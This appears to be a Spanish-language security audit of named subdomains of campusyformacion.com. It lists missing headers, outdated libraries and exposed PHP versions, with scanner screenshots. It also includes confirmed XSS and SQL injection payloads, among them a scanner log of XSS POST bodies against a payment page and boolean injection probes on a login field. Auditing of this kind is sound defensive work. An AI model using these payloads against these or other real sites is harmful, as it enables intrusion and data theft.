

Auditoría

starjobs.campusyformacion.com

El header X-Frame-Options no está configurado.

La versión de JQuery (1.2.3) está desactualizada y es vulnerable.

gadebs.campusyformacion.com

El header X-Frame-Options no está configurado.

La versión de JQuery (1.2.3) está desactualizada y es vulnerable.

masoneria.campusyformacion.com

El header X-Frame-Options no está configurado.

La versión de la librería de Bootstrap (3.3.6) está desactualizada y es vulnerable.

ifpd.campusyformacion.com

La web es vulnerable a ataques XSS basados en DOM.

The screenshot shows a web security tool interface. On the left, a list of alerts is visible, with 'Sito cruzado de Scripting (Basado en DOM)' selected. The main panel displays details for a specific alert: 'Cross_Site Scripting (XSS) es una técnica de ataque que comprende hacer eco del código que fue proporcionado por el atacante en la instancia del navegador de un usuario. Una instancia de navegador puede ser un cliente de navegador web corriente, o un objeto de navegador integrado e un producto de software, como el navegador'. It also shows 'Otra info:' with 'Tag name: input Att name: Att id: loginbtn' and a 'Solución:' section with advice on architecture and design, and references to projects.webappsec.org and cwe.mitre.org.

El header X-Frame-Options no está configurado.

La web incluye contenido mixto HTTP.

The screenshot shows a web security tool interface. The top panel displays a snippet of HTML code, including a link to 'css/nivo-slider.css' and a script tag for 'http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js'. Below this, a list of alerts is visible, with 'Sito cruzado de Scripting (Basado en DOM)' selected. The main panel displays details for a specific alert: 'The page includes mixed content, that is content accessed via HTTP instead of HTTPS'. It also shows 'Otra info:' with 'tag=script src=http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js' and 'tag=form action=http://elearning.campusyformacion.com/login/index.php', and a 'Solución:' section with advice on SSL/TLS.

grupoifp.campusyformacion.com

La web es vulnerable a ataques XSS basados en DOM.

The screenshot shows a Burp Suite alert for a DOM-based XSS vulnerability on grupoifp.campusyformacion.com. The alert is titled 'Sitio cruzado de Scripting (Basado en DOM) (4)'. The risk level is 'High' and the confidence is 'Medium'. The attack payload is: `#jaVasCript:/*-/*`/*\`/*/*/*/*/*/*/*oNcliCk=alert())//%0D%0A%0d%0a//</style></titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e`. The evidence shows the attack was successful, with a CWE ID of 79 and a WASC ID of 8. The origin is 'Activo (40026 - Sitio cruzado de Scripting (Basado en DOM))'. The description states: 'Cross_site Scripting (XSS) es una técnica de ataque que comprende hacer eco del código que fue proporcionado por el atacante en la instancia del navegador de un usuario. Una instancia de navegador puede ser un cliente de navegador web corriente, o un objeto de navegador integrado e un producto de software, como el navegador'. Other information includes 'Tag name: input Att name: Att id: loginbtn'.

El header X-Frame-Options no está configurado.

La web incluye contenido mixto HTTP.

The screenshot shows a Burp Suite alert for mixed content on grupoifp.campusyformacion.com. The alert is titled 'Sitio cruzado de Scripting (Basado en DOM) (4)'. The risk level is 'Medium' and the confidence is 'Medium'. The attack payload is: `<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type=`. The evidence shows the attack was successful, with a CWE ID of 311 and a WASC ID of 4. The origin is 'Pasivo (10040 - Secure Pages Include Mixed Content)'. The description states: 'The page includes mixed content, that is content accessed via HTTP instead of HTTPS'. Other information includes 'tag=script src=http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js' and 'tag=form action=http://elearning.campusyformacion.com/login/index.php'.

cuadernos.campusyformacion.com

La web es vulnerable a ataques de inyección de SQL.

The screenshot shows a Burp Suite alert for an SQL injection vulnerability on cuadernos.campusyformacion.com. The alert is titled 'SQL Injection (4)'. The risk level is 'High' and the confidence is 'Medium'. The attack payload is: `ZAP' AND '1'='1' --`. The evidence shows the attack was successful, with a CWE ID of 89 and a WASC ID of 19. The origin is 'Activo (40018 - SQL Injection)'. The description states: 'SQL injection may be possible'. Other information includes 'The page results were successfully manipulated using the boolean conditions [ZAP' AND '1'='1' --] and [ZAP' AND '1'='2' --]' and 'The parameter value being modified was NOT stripped from the HTML output for the purposes of the'.

beready.campusyformacion.com

El header X-Frame-Options no está configurado.

aulavirtualnc.campusyformacion.com

El header X-Frame-Options no está configurado.

cursos.campusyformacion.com

El sitio es vulnerable a ataques XSS reflejados y de inyección SQL.

The screenshot displays the Burp Suite interface with a list of alerts on the left and detailed information for two selected alerts on the right.

Alerts List (Left):

- Alertas (13)
 - Cross Site Scripting (Reflected)
 - SQL Injection
 - X-Frame-Options Header Not Set (7)
 - Absence of Anti-CSRF Tokens (208)
 - Cookie No HttpOnly Flag (2)
 - Cookie Without Secure Flag (2)
 - Cookie without SameSite Attribute (2)
 - Incomplete or No Cache-control Header Set (17)
 - Server Leaks Information via "X-Powered-By" Header (228)
 - X-Content-Type-Options Header Missing (228)
 - Information Disclosure - Sensitive Information in Comments (228)
 - Information Disclosure - Suspicious Comments (228)
 - Timestamp Disclosure - Unix (660)

Alert Details (Right):

Alert 1: Cross Site Scripting (Reflected)

- CWE ID: 79
- WASC ID: 8
- Origen: Activo (40012 - Cross Site Scripting (Reflected))
- Descripción: Cross_site Scripting (XSS) es una técnica de ataque que comprende hacer eco del código que fue proporcionado por el atacante en la instancia del navegador de un usuario. Una instancia de navegador puede ser un cliente de navegador web corriente, o un objeto de navegador integrado e un producto de software, como el navegador
- Otra info:
- Solución: Frase: Arquitectura y Diseño. Utilice una biblioteca o marco comprobado que no acepte que ocurra esta debilidad o que proporcione construcciones que permitan que esta debilidad sea mas sencilla de evitar.
- Referencia: <http://projects.webappsec.org/Cross-Site-Scripting>, <http://cwe.mitre.org/data/definitions/79.html>

Alert 2: SQL Injection

- Origen: Activo (40018 - SQL Injection)
- Descripción: SQL injection may be possible.
- Otra info: The original page results were successfully replicated using the expression [2/2] as the parameter value. The parameter value being modified was stripped from the HTML output for the purposes of the comparison
- Solución: Do not trust client side input, even if there is client side validation in place. In general, type check all data on the server side. If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by '?'
- Referencia: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

El header X-Frame-Options no está configurado.

La versión de PHP/5.6.40 es visible.

```
https://cursos.campusyformacion.com/ [200 OK] Content-Language[es], Cookies[MoodleS2], Moodle, PHP[5.6.40,], PasswordField[password], Plesk[Lin], Script[text/css,texttent-style-type], X-Frame-Options[sameorigin], X-Powered-By[PHP/5.6.40, PleskLin],
```

La web no cuenta con certificado SSL, por lo que cualquier dato introducido por el usuario es fácil de interceptar.

El sitio es extremadamente vulnerable a ataques de XSS.

```
Cross-Site Scripting (XSS):
[+] Vul [XSS] http://tpv.campusyformacion.com/validar.php
Post data: 6user="><script>alert('XSS')</script>6ape=1236pais=1236pro=1236city=1236telf=1236correo=1236producto=1236precio=1236activo=1236nom_a=1236ape_a=1236Pagar=123
[+] Vul [XSS] http://tpv.campusyformacion.com/validar.php
Post data: 6user="<script>alert('XSS')</script>6ape=1236pais=1236pro=1236city=1236telf=1236correo=1236producto=1236precio=1236activo=1236nom_a=1236ape_a=1236Pagar=123
[+] Vul [XSS] http://tpv.campusyformacion.com/validar.php
Post data: 6user="><IMG SRC="javascript:alert('XSS');">6ape=1236pais=1236pro=1236city=1236telf=1236correo=1236producto=1236precio=1236activo=1236nom_a=1236ape_a=1236Pagar=123
[+] Vul [XSS] http://tpv.campusyformacion.com/validar.php
Post data: 6user="<LINK REL="stylesheet" HREF="javascript:alert('XSS');">6ape=1236pais=1236pro=1236city=1236telf=1236correo=1236producto=1236precio=1236activo=1236nom_a=1236ape_a=1236Pagar=123
[+] Vul [XSS] http://tpv.campusyformacion.com/validar.php
Post data: 6user="<IMG SRC="javascript:alert('XSS');">6ape=1236pais=1236pro=1236city=1236telf=1236correo=1236producto=1236precio=1236activo=1236nom_a=1236ape_a=1236Pagar=123
[+] Vul [XSS] http://tpv.campusyformacion.com/validar.php
Post data: 6user="><META HTTP-EQUIV="refresh" CONTENT="0"; URL=http://;URL=javascript:alert('XSS');">6ape=1236pais=1236pro=1236city=1236telf=1236correo=1236producto=1236precio=1236activo=1236nom_a=1236ape_a=1236Pagar=123
[+] Vul [XSS] http://tpv.campusyformacion.com/validar.php
Post data: 6user="><META HTTP-EQUIV="refresh" CONTENT="0"; URL=http://;URL=javascript:alert('XSS');">6ape=1236pais=1236pro=1236city=1236telf=1236correo=1236producto=1236precio=1236activo=1236nom_a=1236ape_a=1236Pagar=123
[+] Vul [XSS] http://tpv.campusyformacion.com/validar.php
Post data: 6user="<DIV STYLE="background-image: url(javascript:alert('XSS'))">6ape=1236pais=1236pro=1236city=1236telf=1236correo=1236producto=1236precio=1236activo=1236nom_a=1236ape_a=1236Pagar=123
[+] Vul [XSS] http://tpv.campusyformacion.com/validar.php
Post data: 6user="<body onload="javascript:alert('XSS')"></body>6ape=1236pais=1236pro=1236city=1236telf=1236correo=1236producto=1236precio=1236activo=1236nom_a=1236ape_a=1236Pagar=123
[+] Vul [XSS] http://tpv.campusyformacion.com/validar.php
Post data: 6user="><DIV STYLE="background-image: url(javascript:alert('XSS'))">6ape=1236pais=1236pro=1236city=1236telf=1236correo=1236producto=1236precio=1236activo=1236nom_a=1236ape_a=1236Pagar=123
[+] Vul [XSS] http://tpv.campusyformacion.com/validar.php
Post data: 6user="><table background="javascript:alert('XSS')"></table>6ape=1236pais=1236pro=1236city=1236telf=1236correo=1236producto=1236precio=1236activo=1236nom_a=1236ape_a=1236Pagar=123
[+] Vul [XSS] http://tpv.campusyformacion.com/validar.php
Post data: 6user="<table background="javascript:alert('XSS')"></table>6ape=1236pais=1236pro=1236city=1236telf=1236correo=1236producto=1236precio=1236activo=1236nom_a=1236ape_a=1236Pagar=123
[+] Vul [XSS] http://tpv.campusyformacion.com/validar.php
Post data: 6user="><script>alert('XSS')</script>6pais=1236pro=1236city=1236telf=1236correo=1236producto=1236precio=1236activo=1236nom_a=1236ape_a=1236Pagar=123
[+] Vul [XSS] http://tpv.campusyformacion.com/validar.php
Post data: 6user="1236ape=<script>alert('XSS')</script>6pais=1236pro=1236city=1236telf=1236correo=1236producto=1236precio=1236activo=1236nom_a=1236ape_a=1236Pagar=123
[+] Vul [XSS] http://tpv.campusyformacion.com/validar.php
Post data: 6user="1236ape="><IMG SRC="javascript:alert('XSS');">6pais=1236pro=1236city=1236telf=1236correo=1236producto=1236precio=1236activo=1236nom_a=1236ape_a=1236Pagar=123
```

El header X-Frame-Options no está configurado.

La versión de PHP/5.6.40 es visible.

archeformacion.campusyformacion.com

La versión de JQuery 1.11.1 está desactualizada y es vulnerable.

The screenshot shows the ZAP Alerts window. On the left, a tree view lists various alerts, with 'Vulnerable JS Library (2)' selected. The main panel displays details for this alert:

- URL:** https://archeformacion.campusyformacion.com/js/jquery.js
- Riesgo:** Medium
- Confianza:** Medium
- Parámetro:**
- Ataque:**
- Evidencia:** /*! jQuery v1.11.1
- CWE ID:** 829
- WASC ID:**
- Origen:** Pasivo (10003 - Vulnerable JS Library)
- Descripción:** The identified library jquery, version 1.11.1 is vulnerable.

El header X-Frame-Options no está configurado.

elearning.campusyformacion.com

La web es vulnerable a ataques de inyección de SQL.

The screenshot shows the ZAP Alerts window. On the left, a tree view lists various alerts, with 'Blind SQL Injection (4)' selected. The main panel displays details for this alert:

- Riesgo:** High
- Confianza:** Medium
- Parámetro:** password
- Ataque:** ZAP AND 1=1 --
- Evidencia:**
- CWE ID:** 89
- WASC ID:** 19
- Origen:** Activo (40018 - SQL Injection)
- Descripción:** SQL injection may be possible.
- Otra info:** The page results were successfully manipulated using the boolean conditions [ZAP AND 1=1 --] and [ZAP AND 1=2 --]. The parameter value being modified was NOT stripped from the HTML output for the purposes of the

Es vulnerable a ataques de XSS reflejados.

The screenshot shows the ZAP Alerts window. On the left, a tree view lists various alerts, with 'Cross Site Scripting (Reflected)' selected. The main panel displays details for this alert:

- Riesgo:** High
- Confianza:** Medium
- Parámetro:** search
- Ataque:** " onmouseover="alert(1);
- Evidencia:** " onmouseover="alert(1);
- CWE ID:** 79
- WASC ID:** 8
- Origen:** Activo (40012 - Cross Site Scripting (Reflected))
- Descripción:** Cross_site scripting (XSS) es una técnica de ataque que comprende hacer eco del código que fue proporcionado por el atacante en la instancia del navegador de un usuario. Una instancia de navegador puede ser un cliente de navegador web corriente, o un objeto de navegador integrado e un producto de software, como el navegador
- Otra info:**